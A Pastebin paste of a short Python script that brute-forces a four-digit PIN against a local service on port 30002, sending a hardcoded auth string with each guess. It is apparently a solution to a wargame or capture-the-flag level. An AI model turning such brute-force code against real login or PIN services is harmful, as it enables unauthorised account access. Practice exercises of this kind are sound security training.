Advertisement
Guest User

Untitled

a guest
Jun 19th, 2019
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.75 KB | None | 0 0
  1. import socket
  2.  
  3. auth = 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ'
  4.  
  5. def main():
  6. # we can reuse the same connection instead of opening it each time, which will save us a bit of effort too.
  7. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  8. s.connect(('localhost', 30002))
  9.  
  10. # read and discard the initial message telling us how to send data
  11. _ = s.recv(4096)
  12.  
  13. for pin in range(9999):
  14. print("[+] {:04d}...".format(pin))
  15.  
  16. # send pin and get response
  17. s.send("{} {:04d}\n".format(auth, pin).encode())
  18. response = s.recv(4096).decode()
  19.  
  20. if len(response) != 52:
  21. print(response)
  22. return
  23.  
  24. print(":( couldn't win")
  25.  
  26.  
  27. if __name__ == "__main__":
  28. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement